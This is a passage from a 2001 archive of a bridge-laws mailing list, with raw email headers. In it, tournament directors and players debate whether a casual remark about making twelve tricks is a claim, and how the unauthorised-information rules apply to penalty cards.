pam writes >Supposing declarer on seeing dummy says "Oops, underbid pard, we can >make a slam" and the defense consequently do not defend with their >usual sharpness and allow 12 tricks to be made when the rest of the >room is making 10 or 11. Fine. We give the defence two tricks under L73F2 - that's easy. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 02:01:59 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0MF0TG20533 for bridge-laws-outgoing; Tue, 23 Jan 2001 02:00:29 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.uunet.be (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0MF0Mt20529 for ; Tue, 23 Jan 2001 02:00:23 +1100 (EST) Received: from village.uunet.be (uu212-190-15-51.unknown.uunet.be [212.190.15.51]) by bru5-smtp-out1.uunet.be (8.11.2/8.11.2) with ESMTP id f0MF0CV14743 for ; Mon, 22 Jan 2001 16:00:13 +0100 (MET) Message-ID: <3A6B2326.82A993BF@village.uunet.be> Date: Sun, 21 Jan 2001 18:57:58 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] penalties AND UI - too much ? References: <01C082FA.E03553C0.tsvecfob@iol.ie> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ed Reppert wrote: > > > 16C2 pertains to *withdrawn* actions. There has been no such action > here. Had the declarer placed a lead restriction, allowing the DA to > be withdrawn and placed in the player's hand (50D2(a)) *then* the > fact that player holds that card is UI, and his partner may not, > under 16C2, lead a diamond. But as long as the DA remains a penalty > card, the player can lead whatever he wants - including a diamond. > An interesting point of view. The problem with it is that there is no reference to L16C in L50D1. And there it is stated that information arising from facing of the penalty card is UI. We are not directed to it, but we should of course read L16A afterwards, and we shall see that this is extraneous information coming from partner. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 02:01:59 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0MF0KJ20527 for bridge-laws-outgoing; Tue, 23 Jan 2001 02:00:20 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.uunet.be (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0MF0Bt20523 for ; Tue, 23 Jan 2001 02:00:13 +1100 (EST) Received: from village.uunet.be (uu212-190-15-51.unknown.uunet.be [212.190.15.51]) by bru5-smtp-out1.uunet.be (8.11.2/8.11.2) with ESMTP id f0MF04V14650 for ; Mon, 22 Jan 2001 16:00:05 +0100 (MET) Message-ID: <3A6B1D8D.D653456D@village.uunet.be> Date: Sun, 21 Jan 2001 18:34:05 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] Claim? References: <004f01c08206$28650e60$6d78073e@pbncomputer> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David, please. RTFLB. David Stevenson wrote: > > > When a person claims he is attempting to shorten the play. You know > perfectly well what a claim is, but you prefer to pretend that we must > follow the Laws and assume that something we know perfectly well is not > a claim should be a claim. No doubt you are write on the English > language but as a method of ruling a game it makes little sense. > > Your approach that a statement that is clearly and obviously not a > claim should be treated as a claim is nonsense rather than commonsense. > You and I may think we know what a claim is, but we can be wrong. And when we disagree, what then (not that we do in this case). But the real decision lies within the Laws. A claim is something which is defined in the Laws. And that definition says that "we are going to make 12 tricks" is a claim. Sorry, you are simply not correct. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 02:02:08 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0MF0dM20539 for bridge-laws-outgoing; Tue, 23 Jan 2001 02:00:39 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.uunet.be (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0MF0Wt20535 for ; Tue, 23 Jan 2001 02:00:32 +1100 (EST) Received: from village.uunet.be (uu212-190-15-51.unknown.uunet.be [212.190.15.51]) by bru5-smtp-out1.uunet.be (8.11.2/8.11.2) with ESMTP id f0MF0NV14820 for ; Mon, 22 Jan 2001 16:00:23 +0100 (MET) Message-ID: <3A6B24AC.273ACB03@village.uunet.be> Date: Sun, 21 Jan 2001 19:04:28 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] penalties AND UI - too much ? References: <01C082FA.E03553C0.tsvecfob@iol.ie> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Brian Meadows wrote: > > > Disclaimer - I have not directed, apart from as an emergency > stand-in, for well over a decade, this is just the view of a > player with an interest in the Laws. > And your points of view are those of a player - which is not what we need, since we are all players, and we all agree that the Laws, if they indeed mean what they say, are foolish. > Some of the debates on here do seem to me to get a little > esoteric at times, and possibly this is one of them. Isn't that what this list is for ? > However, I > think that the Laws of bridge should at least attempt to keep a > grasp, however tenuous, on simple logic. If I know partner has to > play the DA at his first opportunity, it seems to me to be a > total nonsense that I cannot know that partner holds the DA. Why ? The Laws don't say that you are not allowed to "know" this. The Laws (L16) says you are not allowed to act on it. Quite a difference, and not illogical at all. > Trying to apply this would meet with howls of laughter from (I > suspect) a significant number of players, and quite rightly so, > IMHO. > Spoken as a true player. But you may well laugh, I shall rule against you just as I would if you would bid on after UI. "I know we are going to make 13 tricks, the next table just told me so". "Well, I won't allow you to bid 7NT". > As the question explicitly stated, declarer allowed me to play > what I wanted after cashing the AH. He had (unless my memory of > the laws is at fault) the option to forbid my leading a diamond, > at which point my partner could have taken the DA back into his > hand. Instead, declarer chose to have the DA remain a penalty > card. > Your memory is not at fault. Under the old laws, there was only a technical penalty, no UI. The 1997 laws have added the UI to the technical penalty. > For declarer to then claim that I am prevented from leading a > diamond anyway seems to be totally illogical to me - the Laws > offer him the *CHOICE* of forbidding (or requiring) a diamond > lead *OR* having the DA remain a penalty card. This declarer > seems to want to have the benefit of two of the penalties instead > of one - to have the AD remain a penalty card, but then to > retrospectively forbid the diamond lead as well. He made his > choice, and he got it wrong. > Well, the Laws have been altered to allow for this. I agree with you that this is not a good law, but that does not mean this interpretation is wrong. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 02:39:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0MFbBp26858 for bridge-laws-outgoing; Tue, 23 Jan 2001 02:37:11 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cobalt3-fe.global.net.uk (cobalt3-fe.global.net.uk [195.147.250.163]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0MFb2t26810 for ; Tue, 23 Jan 2001 02:37:04 +1100 (EST) Received: from p21s01a10.client.global.net.uk ([195.147.113.34] helo=pacific) by cobalt3-fe.global.net.uk with smtp (Exim 2.12 #1) id 14Kizr-0002EI-00 for bridge-laws@rgb.anu.edu.au; Mon, 22 Jan 2001 15:35:08 +0000 Message-ID: <000401c08489$1a038c40$227193c3@pacific> From: "Grattan Endicott" To: References: <200101191537.KAA21799@freenet10.carleton.ca><001601c082b1$fa8de780$ec167bd5@pbncomputer><002101c0830a$91a9a660$56991e18@san.rr.com> Subject: Re: [BLML] Claim? Date: Mon, 22 Jan 2001 14:52:34 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott ----- Original Message ----- From: David Stevenson To: Sent: 21 January 2001 02:38 Subject: Re: [BLML] Claim? > > I know that certain people do not give a damn > about the game itself, but for those of you that do, > let me make one more effort. > > If we follow what you, Marv, are saying, we > have reached a position where if you happen to > remark to dummy that you have twelve tricks, > clearly not meaning it as a claim, not only have > the opponents got a right to treat it as a claim, > but also one to which you will not be allowed to > add a clarification statement. > > Is that what you really and honestly believe is > what the Lawmakers intended? > +=+ Dear David (S), To take last things first, I can speak with absolute authority for two of the lawmakers. Kaplan and I discussed and agreed that players so inclined should not be allowed to jostle opponents into taking their eyes off the ball by casual comments about the number of tricks they would win. Secondly I regard the comment about "certain people who do not care a damn about the game" as being to a high degree personally offensive. I believe you would not intend it so, but there it is. Incidentally, I am slightly bemused to find you arguing for the intention of the law (as you think it) rather than the meaning of the English text. I also consider it unlikely that what is apparently a statement about a simple collection of tricks would fail for lack of an accompanying clarification. If the statement is justified one would not anticipate an alternative, normal but less successful, line of play could be found. Regards, Grattan +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 02:45:23 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0MFhsP29193 for bridge-laws-outgoing; Tue, 23 Jan 2001 02:43:54 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp.myokay.net (db.myokay.net [195.211.161.152]) by rgb.anu.edu.au (8.10.2/8.10.2) with SMTP id f0MFhjt29155 for ; Tue, 23 Jan 2001 02:43:47 +1100 (EST) Received: (qmail 95981 invoked for bounce); 22 Jan 2001 15:43:37 -0000 Received: from dialin-194-29-41-180.frankfurt.gigabell.net (HELO rabbit) (194.29.41.180) by smtp.myokay.net with SMTP; 22 Jan 2001 15:43:37 -0000 Message-ID: <00f001c0848a$75f1ad60$b4291dc2@rabbit> From: "Thomas Dehn" To: "Bridge Laws" References: <3A670674.673519AE@village.uunet.be> <006501c08261$a11943c0$56991e18@san.rr.com> <3A696AF5.E96FF1FC@village.uunet.be> Subject: Re: [BLML] penalties AND UI - too much ? Date: Mon, 22 Jan 2001 16:39:52 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk "Herman De Wael" wrote: > "Marvin L. French" wrote: > > > > From: "Herman De Wael" > > > Partner leads out of turn, the ace of diamonds. > > > > > > Declarer allows you to play what you want. > > > > > > >From AKJx of hearts, you lead the ace, to see the table. > > > The queen of hearts is not there. > > > > > > Again declarer allows you to play what you want. > > > > > > If you now play diamonds, your partner is in to bring you > > > the hearts. > > > > > > But, says declarer later, the Ace is UI, and you could also > > > have switched clubs as a LA, so please give me my contract > > > back. > > > > > Declarer had the option of L50D2(a) or (b). (a) would have prevented the > > opponent from leading a diamond as long as he held the lead, and the > > diamond ace would no longer have been a penalty card, pick it up. > > > > (b) lets the defender lead any card, and the diamond ace remains a > > penalty card. After the first trick is complete, this time with the > > defender still on lead, we start over. > > > > There still exists a major penalty card, and declarer can again choose > > between (a) and (b). Again he chose (b), "lead any card." > > > > I don't see the problem, I guess. "Lead any card" means lead *any* card. > > > > The problem is, Marv, that 50D1 states that the Ace of > diamonds is UI to partner. Since you might just as easily > have sought partner is clubs or spades, those are LAs and > you may not lead diamonds, as per L16. L50D1 A major penalty card must be played at the first legal opportunity, whether in leading, following suit, discarding or trumping (the requirement that offender must play the card is authorised information for his partner; however, other information arising from facing of the penalty card is unauthorised for partner). [...] I read this as follows: If partner leads the DK, then the information that partner will have the DQ or maybe either the DQ or the DA is UI, as this is "other information arising from facing of the penalty card". Furthermore, if I lead a D to partner's penalty card I have to assume that this does not provide any information on his D holding. Hence, if we lead the K from AK, and partner's penalty card is the DA, I might still play him for the DK later. However, if he leads the K out of turn, and I later lead a D to his K, I am not forced to play declarer for the DQ just because partner played the DK to that trick. UI laws do apply here to the information that partner might or might not have another honor card for his original lead out of turn. However, the information that partner has the DK and must play it at the earliest opportunity is AI ("the requirement that offender must play the card is authorised information for his partner"). If it is AI that partner must play the card, it is AI that he has it. Especially, if declarer does not forbid leading a diamond, it makes perfect sense to lead a diamond just to avoid that declarer can force partner to discard his precious diamond ace when declarer draws trumps or runs a long suit. This is similar to avoiding winning a trick which would increase the revoke penalty to two tricks. Thomas -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 04:05:28 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0MH4JW16550 for bridge-laws-outgoing; Tue, 23 Jan 2001 04:04:19 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0MH4Ct16513 for ; Tue, 23 Jan 2001 04:04:12 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id MAA10488 for ; Mon, 22 Jan 2001 12:04:08 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id MAA06922 for bridge-laws@rgb.anu.edu.au; Mon, 22 Jan 2001 12:04:08 -0500 (EST) Date: Mon, 22 Jan 2001 12:04:08 -0500 (EST) From: Steve Willner Message-Id: <200101221704.MAA06922@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] penalties AND UI - too much ? X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > L50D1 > A major penalty card must be played at the first legal opportunity, whether > in leading, following suit, discarding or trumping (the requirement that > offender must play the card is authorised information for his partner; > however, other information arising from facing of the penalty card is > unauthorised for partner). > [...] > From: "Thomas Dehn" > I read this as follows: > > If partner leads the DK, then the information that partner > will have the DQ or maybe either the DQ or the DA is UI, as this > is "other information arising from facing of the penalty card". ... > However, the information that partner has the DK and must play > it at the earliest opportunity is AI This is a perfectly sensible interpretation. I think maybe it was Eric Landau who suggested it two or three years ago. The idea is that a card accidentally dropped most likely carries no "other information," but a card deliberately led or played almost certainly carries some. In this view, the card itself is AI just as it was before 1997, but the information conveyed by partner's having chosen the card is UI. Unfortunately, the WBFLC disagrees with us. Their Lille minutes (quoted from DWS' web page) say: 12: Information arising from possession of a Penalty Card. Information that the player must play the penalty card as the law requires is authorised and partner may choose the card to lead from the suit on the basis of that knowledge (e.g. may lead small from K Q J x when partner's penalty card is the Ace). Information based on sight of partner's penalty card is unauthorised so that, for example, the player may not choose to lead the suit if the suit is suggested by the penalty card and play of a different suit is a logical alternative. I confess that not only can I not reconcile this interpretation with the words of the law, I am not sure what it means. It seems to be saying that the sight of the penalty card is UI for choosing the suit to lead but AI for choosing the card within the suit. I am mystified because the choice of card and choice of suit are seldom independent and sequential, as this interpretation seems to suggest. While I have great respect for all the members of the WBFLC, I'm afraid this mess -- both the law, mixing fixed penalties with possible equity adjustments, and the confusing interpretation -- is not their finest product. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 05:07:52 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0MI78v24763 for bridge-laws-outgoing; Tue, 23 Jan 2001 05:07:08 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.iol.ie (mail1.mail.iol.ie [194.125.2.192]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0MI71t24759 for ; Tue, 23 Jan 2001 05:07:02 +1100 (EST) Received: from oemcomputer (dialup-005.sligo.iol.ie [194.125.48.197]) by mail.iol.ie Sendmail (v8.9.3) with SMTP id SAA94659 for ; Mon, 22 Jan 2001 18:06:51 GMT Received: by localhost with Microsoft MAPI; Mon, 22 Jan 2001 18:07:56 -0000 Message-ID: <01C0849E.3EDF61A0.tsvecfob@iol.ie> From: "Fearghal O'Boyle" To: "'bridge-laws@octavia.anu.edu.au'" Subject: RE: [BLML] penalties AND UI - too much ? Date: Mon, 22 Jan 2001 18:07:54 -0000 X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ed wrote: > 16C2 pertains to *withdrawn* actions. There has been no such action > here. Had the declarer placed a lead restriction, allowing the DA to > be withdrawn and placed in the player's hand (50D2(a)) *then* the > fact that player holds that card is UI, and his partner may not, > under 16C2, lead a diamond. But as long as the DA remains a penalty > card, the player can lead whatever he wants - including a diamond. > Herman wrote: An interesting point of view. The problem with it is that there is no reference to L16C in L50D1. And there it is stated that information arising from facing of the penalty card is UI. We are not directed to it, but we should of course read L16A afterwards, and we shall see that this is extraneous information coming from partner. Declarer does not accept the Ace of Diamond LOOT. I would have thought the LOOT was a withdrawn action? Best regards, Fearghal. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 07:56:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0MKtB924418 for bridge-laws-outgoing; Tue, 23 Jan 2001 07:55:11 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0MKt4t24384 for ; Tue, 23 Jan 2001 07:55:05 +1100 (EST) Received: from calvin.irvine.com (IDENT:adam@calvin.irvine.com [192.160.8.21]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id MAA17289; Mon, 22 Jan 2001 12:54:59 -0800 Message-Id: <200101222054.MAA17289@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Claim? In-reply-to: Your message of "Fri, 19 Jan 2001 15:18:41 GMT." Date: Mon, 22 Jan 2001 12:54:59 -0800 From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson roght: > No doubt you are write on the English ^^^^^ > language but as a method of ruling a game it makes little sense. Just out of curiosity, was this intentional irony, or did Quango jump on the keyboard again? -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 08:08:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ML8Rw29084 for bridge-laws-outgoing; Tue, 23 Jan 2001 08:08:27 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.rdc1.md.home.com (imail@ha1.rdc1.md.home.com [24.2.2.66]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ML8Jt29043 for ; Tue, 23 Jan 2001 08:08:20 +1100 (EST) Received: from BRIAN ([24.180.160.52]) by mail.rdc1.md.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20010122210810.FAHX10139.mail.rdc1.md.home.com@BRIAN> for ; Mon, 22 Jan 2001 13:08:10 -0800 From: Brian Meadows To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] penalties AND UI - too much ? Date: Mon, 22 Jan 2001 16:07:35 -0500 Reply-To: brian@meadows.pair.com Message-ID: References: <01C082FA.E03553C0.tsvecfob@iol.ie> <3A6B24AC.273ACB03@village.uunet.be> In-Reply-To: <3A6B24AC.273ACB03@village.uunet.be> X-Mailer: Forte Agent 1.8/32.548 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Sun, 21 Jan 2001 19:04:28 +0100, Herman deWael wrote: > >And your points of view are those of a player - which is not >what we need, Then go ahead and drop me, and any other non-directors who have the temerity to post, in your kill file, Herman. God forbid that TDs, let alone lawmakers, should even have to hear the opinions of the people who play the game, or that said players should make any comments on the Laws which are to be imposed on them. Maybe you should ask Marcus to make the list 'current TDs and WBFLC members only'. But before you do so, perhaps you might tell me why, if you feel my comments were so obviously unhelpful, you chose to quote them all back in your reply? Brian. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 08:12:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0MLCeG00590 for bridge-laws-outgoing; Tue, 23 Jan 2001 08:12:40 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from umx-mail02.missouri.edu (umx-mail02.missouri.edu [128.206.10.222]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0MLCXt00554 for ; Tue, 23 Jan 2001 08:12:34 +1100 (EST) Received: from [128.206.98.1] (mu-098001.dhcp.missouri.edu [128.206.98.1]) by umx-mail02.missouri.edu with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id ZK6W2Y0S; Mon, 22 Jan 2001 15:12:29 -0600 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: HarrisR@pop.email.missouri.edu Message-Id: In-Reply-To: <200101221704.MAA06922@cfa183.harvard.edu> Date: Mon, 22 Jan 2001 15:19:23 -0600 To: Steve Willner , From: "Robert E. Harris" Subject: Re: [BLML] penalties AND UI - too much ? Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Steve Willner wrote: (Snip) > >12: Information arising from possession of a Penalty Card. > Information that the player must play the penalty card as the law > requires is authorised and partner may choose the card to lead > from the suit on the basis of that knowledge (e.g. may lead small > from K Q J x when partner's penalty card is the Ace). Information > based on sight of partner's penalty card is unauthorised so that, > for example, the player may not choose to lead the suit if the > suit is suggested by the penalty card and play of a different suit > is a logical alternative. > >I confess that not only can I not reconcile this interpretation with >the words of the law, I am not sure what it means. It seems to be >saying that the sight of the penalty card is UI for choosing the suit >to lead but AI for choosing the card within the suit. I am mystified >because the choice of card and choice of suit are seldom independent >and sequential, as this interpretation seems to suggest. > >While I have great respect for all the members of the WBFLC, I'm afraid >this mess -- both the law, mixing fixed penalties with possible equity >adjustments, and the confusing interpretation -- is not their finest >product. Well, the law says, "the requirement that the offender must play the card is authorized information for his partner; however other information arising from facing of the penalty card is unauthorized for partner." The WBFLC interpretation flies in the face of this plain language. It's the "other information" that is UI. If the WBFLC reading is what this Law means, it needs to be completely reworded in the next edition of the Laws. Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 08:23:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0MLMtH04097 for bridge-laws-outgoing; Tue, 23 Jan 2001 08:22:55 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0MLMmt04093 for ; Tue, 23 Jan 2001 08:22:48 +1100 (EST) Received: from dodona (host62-6-95-19.dialup.lineone.co.uk [62.6.95.19]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id VAA11989; Mon, 22 Jan 2001 21:21:49 GMT Message-ID: <00ad01c084b9$a2f427a0$135f063e@dodona> From: "Grattan Endicott" To: "ton kooijman" , "Ed Reppert" Cc: , "William Schoder" , "Grattan Endicott" Subject: Fw: TR: [BLML] Law 71: Concession cancelled Date: Mon, 22 Jan 2001 21:21:55 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott "If you are foolish enough to be contented, don't show it, but grumble with the rest." ~ Jerome K. Jerome <===> ----- Original Message ----- From: Grattan Endicott To: ; 'David Stevenson' ; Kooijman, A. Cc: Antonio Riccardi ; Max Bavin ; William Schoder Sent: Sunday, January 21, 2001 12:25 PM Subject: Re: TR: [BLML] Law 71: Concession cancelled --------------------== \x/ ==--------------------------- > > > > The second sentence, starting with 'Until'and ending with > 'cards' for sure has been deleted. All of you analyzing that > something is wrong with this sentence in relation to other > (parts of) laws are right, which was the reason to decide to > take it out. We did this already in '97 I think. So take your > pensil and also shout it out. > > > +=+ The WBFLC meeting of 19th October 1997 recorded > this minute: > ==The Chairman turned the committee's > attention to Law 71C. He pointed to the confusion > created by the wording as it had been published. Mr. > Kooijman added that if the intention expressed by > Mr. Kaplan were given effect there would be a notable > difference of treatment as between Law 71 and Law 69. > Mr. Endicott read out the proposal circulated by Mr. > Kaplan and the aim he had indicated. > The committee adopted the opinion put forward by > Mr. Bavin that the sentence in 71C beginning "Until > the conceding side " does in fact make a provision that > is incorporated within the wider provision existing in > the immediately preceding words of the law. The > Director is to cancel an implausible concession as > defined in Law 71C at any time within the correction > period established under Law 79C. (As proposed by > Mr. Kaplan this "changes the time period ...... from > the start of the next board to the usual protest > period".)== > The committee has been reluctant to change > anything in the text of the laws, other than the > placing of asterisks, commas, and the sequence of > words in a footnote. Under ton it has worked > otherwise by interpretation pending the General > Review of the laws just commenced. ~ G ~ +=+ > THE ABOVE REPEATED FOR REFERENCE. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 10:45:59 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0MNj1F04162 for bridge-laws-outgoing; Tue, 23 Jan 2001 10:45:01 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0MNitt04158 for ; Tue, 23 Jan 2001 10:44:55 